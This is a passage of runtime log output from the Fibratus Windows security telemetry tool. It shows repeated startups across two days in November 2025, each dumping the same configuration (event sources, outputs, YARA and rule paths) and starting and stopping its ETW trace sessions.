events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 level=>info max-backups=>15 formatter=>text log-stdout=>true max-size=>100] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] elasticsearch=>[ bulk-workers=>1 healthcheck-timeout=>5s healthcheck=>true template-name=>fibratus sniff=>false servers=>[http://127.0.0.1:9200] trace-log=>false gzip-compression=>false index-name=>fibratus healthcheck-interval=>10s flush-period=>1s timeout=>5s enabled=>false] http=>[ serializer=>json endpoints=>[] timeout=>5s enabled=>false tls-insecure-skip-verify=>false method=>POST enable-gzip=>false] eventlog=>[ level=>info enabled=>false] amqp=>[ enabled=>false timeout=>5s tls-insecure-skip-verify=>false passive=>false exchange=>fibratus durable=>false url=>amqp://localhost:5672 delivery-mode=>transient vhost=>/ exchange-type=>topic routing-key=>fibratus]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-mmaps=>false excluded-procs=>[] excluded-files=>[] fastscan=>true skip-files=>false skip-allocs=>false skip-registry=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T20:58:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T20:58:06+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T20:58:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T20:58:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T20:58:19+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T21:02:02+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T21:02:02+01:00 level=info msg=bootstrapping with pid 10184. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T21:02:02+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ use-template=>true enabled=>false to=>[] port=>25 content-type=>text/html] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true flush-interval=>1s enable-audit-api=>true enable-mem=>false enable-fileio=>true enable-thread=>true enable-net=>true enable-dns=>false stack-enrichment=>true enable-vamap=>true enable-registry=>true enable-threadpool=>false min-buffers=>16 buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info formatter=>text max-backups=>15 max-age=>0 max-size=>100 log-stdout=>true] + output ......................... [ elasticsearch=>[ template-name=>fibratus sniff=>false healthcheck-timeout=>5s trace-log=>false index-name=>fibratus healthcheck=>true bulk-workers=>1 healthcheck-interval=>10s timeout=>5s flush-period=>1s servers=>[http://127.0.0.1:9200] enabled=>false gzip-compression=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false] amqp=>[ url=>amqp://localhost:5672 vhost=>/ passive=>false timeout=>5s enabled=>false exchange-type=>topic tls-insecure-skip-verify=>false exchange=>fibratus routing-key=>fibratus delivery-mode=>transient durable=>false] http=>[ timeout=>5s enabled=>false tls-insecure-skip-verify=>false serializer=>json method=>POST endpoints=>[] enable-gzip=>false]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ fastscan=>true excluded-files=>[] scan-timeout=>10s skip-registry=>false skip-files=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false excluded-procs=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T21:02:03+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T21:02:07+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T21:07:56+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T21:07:56+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T21:07:56+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T21:08:15+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T21:08:15+01:00 level=info msg=bootstrapping with pid 11272. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T21:08:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html to=>[] port=>25 use-template=>true enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-net=>true enable-mem=>false enable-thread=>true enable-registry=>true enable-fileio=>true stack-enrichment=>true enable-dns=>false enable-audit-api=>true enable-threadpool=>false buffer-size=>512 enable-handle=>false min-buffers=>16 enable-vamap=>true flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text log-stdout=>true max-age=>0 level=>info max-size=>100 max-backups=>15] + output ......................... [ elasticsearch=>[ healthcheck-interval=>10s healthcheck=>true sniff=>false enabled=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] gzip-compression=>false bulk-workers=>1 flush-period=>1s index-name=>fibratus template-name=>fibratus timeout=>5s trace-log=>false] amqp=>[ vhost=>/ exchange-type=>topic timeout=>5s exchange=>fibratus passive=>false delivery-mode=>transient tls-insecure-skip-verify=>false routing-key=>fibratus url=>amqp://localhost:5672 enabled=>false durable=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] http=>[ timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json method=>POST enabled=>false endpoints=>[]] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false excluded-files=>[] skip-files=>false skip-allocs=>false fastscan=>true excluded-procs=>[] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T21:08:16+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T21:08:19+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T21:11:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T21:11:35+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T21:11:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T21:11:43+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T21:11:43+01:00 level=info msg=bootstrapping with pid 10840. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T21:11:43+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false to=>[] use-template=>true port=>25 content-type=>text/html] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ buffer-size=>512 enable-registry=>true enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-net=>true min-buffers=>16 max-buffers=>36 flush-interval=>1s enable-image=>true enable-handle=>false stack-enrichment=>true enable-audit-api=>true enable-mem=>false enable-threadpool=>false enable-fileio=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true max-age=>0 formatter=>text max-backups=>15 level=>info] + output ......................... [ amqp=>[ routing-key=>fibratus vhost=>/ durable=>false delivery-mode=>transient timeout=>5s url=>amqp://localhost:5672 tls-insecure-skip-verify=>false exchange=>fibratus passive=>false exchange-type=>topic enabled=>false] http=>[ method=>POST enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json timeout=>5s endpoints=>[]] elasticsearch=>[ healthcheck=>true gzip-compression=>false servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-timeout=>5s template-name=>fibratus sniff=>false healthcheck-interval=>10s bulk-workers=>1 timeout=>5s enabled=>false trace-log=>false index-name=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-registry=>false excluded-files=>[] skip-files=>false skip-mmaps=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false scan-timeout=>10s fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-20T21:11:43+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T21:11:48+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T21:12:03+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T21:12:03+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T21:12:04+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T21:20:54+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T21:20:54+01:00 level=info msg=bootstrapping with pid 9424. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T21:20:55+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true enabled=>false to=>[] port=>25 content-type=>text/html] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-audit-api=>true enable-threadpool=>false enable-handle=>false enable-dns=>false enable-registry=>true enable-mem=>false stack-enrichment=>true enable-vamap=>true enable-fileio=>true flush-interval=>1s min-buffers=>16 enable-net=>true enable-image=>true buffer-size=>512 enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text log-stdout=>true max-size=>100 max-age=>0 max-backups=>15] + output ......................... [ amqp=>[ enabled=>false url=>amqp://localhost:5672 exchange=>fibratus vhost=>/ timeout=>5s routing-key=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient passive=>false exchange-type=>topic durable=>false] http=>[ enable-gzip=>false endpoints=>[] method=>POST serializer=>json timeout=>5s tls-insecure-skip-verify=>false enabled=>false] elasticsearch=>[ gzip-compression=>false enabled=>false bulk-workers=>1 flush-period=>1s trace-log=>false healthcheck=>true template-name=>fibratus healthcheck-timeout=>5s timeout=>5s sniff=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false fastscan=>true skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s excluded-procs=>[] enabled=>false skip-files=>false excluded-files=>[] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T21:20:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T21:20:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T21:21:17+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T21:21:17+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T21:21:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T21:39:52+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T21:39:52+01:00 level=info msg=bootstrapping with pid 4092. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T21:39:52+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ use-template=>true port=>25 to=>[] enabled=>false content-type=>text/html]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-net=>true enable-dns=>false enable-vamap=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-image=>true enable-registry=>true buffer-size=>512 max-buffers=>36 enable-threadpool=>false min-buffers=>16 flush-interval=>1s enable-fileio=>true stack-enrichment=>true enable-audit-api=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 max-backups=>15 level=>info log-stdout=>true max-age=>0] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] amqp=>[ tls-insecure-skip-verify=>false exchange=>fibratus vhost=>/ exchange-type=>topic url=>amqp://localhost:5672 routing-key=>fibratus delivery-mode=>transient enabled=>false timeout=>5s durable=>false passive=>false] http=>[ endpoints=>[] tls-insecure-skip-verify=>false enabled=>false serializer=>json enable-gzip=>false timeout=>5s method=>POST] elasticsearch=>[ gzip-compression=>false sniff=>false enabled=>false healthcheck=>true flush-period=>1s template-name=>fibratus servers=>[http://127.0.0.1:9200] bulk-workers=>1 trace-log=>false healthcheck-timeout=>5s timeout=>5s index-name=>fibratus healthcheck-interval=>10s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false enabled=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false fastscan=>true scan-timeout=>10s excluded-procs=>[] skip-registry=>false skip-mmaps=>false skip-allocs=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T21:39:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T21:39:56+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T21:45:22+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T21:45:22+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T21:45:23+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T21:45:39+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T21:45:39+01:00 level=info msg=bootstrapping with pid 18088. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T21:45:39+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] mail=>[ content-type=>text/html to=>[] use-template=>true port=>25 enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-dns=>false enable-mem=>false enable-vamap=>true enable-threadpool=>false enable-fileio=>true buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-registry=>true min-buffers=>16 max-buffers=>36 flush-interval=>1s enable-handle=>false enable-image=>true enable-audit-api=>true enable-net=>true stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text log-stdout=>true max-backups=>15 max-age=>0 max-size=>100] + output ......................... [ http=>[ tls-insecure-skip-verify=>false method=>POST enable-gzip=>false timeout=>5s enabled=>false serializer=>json endpoints=>[]] eventlog=>[ enabled=>false level=>info] amqp=>[ passive=>false durable=>false tls-insecure-skip-verify=>false timeout=>5s routing-key=>fibratus exchange-type=>topic url=>amqp://localhost:5672 delivery-mode=>transient vhost=>/ enabled=>false exchange=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] elasticsearch=>[ sniff=>false index-name=>fibratus flush-period=>1s healthcheck-timeout=>5s timeout=>5s healthcheck-interval=>10s enabled=>false gzip-compression=>false healthcheck=>true bulk-workers=>1 servers=>[http://127.0.0.1:9200] template-name=>fibratus trace-log=>false]] + pe ............................. [ enabled=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false enabled=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] excluded-files=>[] skip-allocs=>false fastscan=>true skip-mmaps=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-20T21:45:40+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T21:45:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T21:45:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T21:45:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T21:45:56+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T10:35:18+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T10:35:18+01:00 level=info msg=bootstrapping with pid 16436. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T10:35:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] port=>25 content-type=>text/html use-template=>true enabled=>false] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ max-buffers=>36 enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-audit-api=>true enable-registry=>true min-buffers=>16 enable-fileio=>true enable-threadpool=>false flush-interval=>1s enable-net=>true enable-vamap=>true buffer-size=>512 enable-handle=>false enable-mem=>false enable-image=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true formatter=>text max-size=>100 level=>info max-age=>0 max-backups=>15] + output ......................... [ http=>[ serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false timeout=>5s endpoints=>[] method=>POST] elasticsearch=>[ healthcheck-timeout=>5s timeout=>5s trace-log=>false index-name=>fibratus enabled=>false gzip-compression=>false bulk-workers=>1 template-name=>fibratus flush-period=>1s healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s sniff=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ timeout=>5s url=>amqp://localhost:5672 delivery-mode=>transient durable=>false exchange=>fibratus exchange-type=>topic enabled=>false routing-key=>fibratus tls-insecure-skip-verify=>false passive=>false vhost=>/] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false skip-mmaps=>false enabled=>false fastscan=>true excluded-procs=>[] skip-files=>false scan-timeout=>10s excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T10:35:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T10:35:19+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:00:23+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T11:00:23+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:00:24+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:00:41+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T11:00:41+01:00 level=info msg=bootstrapping with pid 7124. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T11:00:41+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false port=>25 use-template=>true to=>[] content-type=>text/html] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ max-buffers=>36 enable-handle=>false flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true min-buffers=>16 enable-vamap=>true enable-fileio=>true enable-threadpool=>false enable-net=>true enable-image=>true enable-thread=>true enable-audit-api=>true enable-registry=>true enable-mem=>false 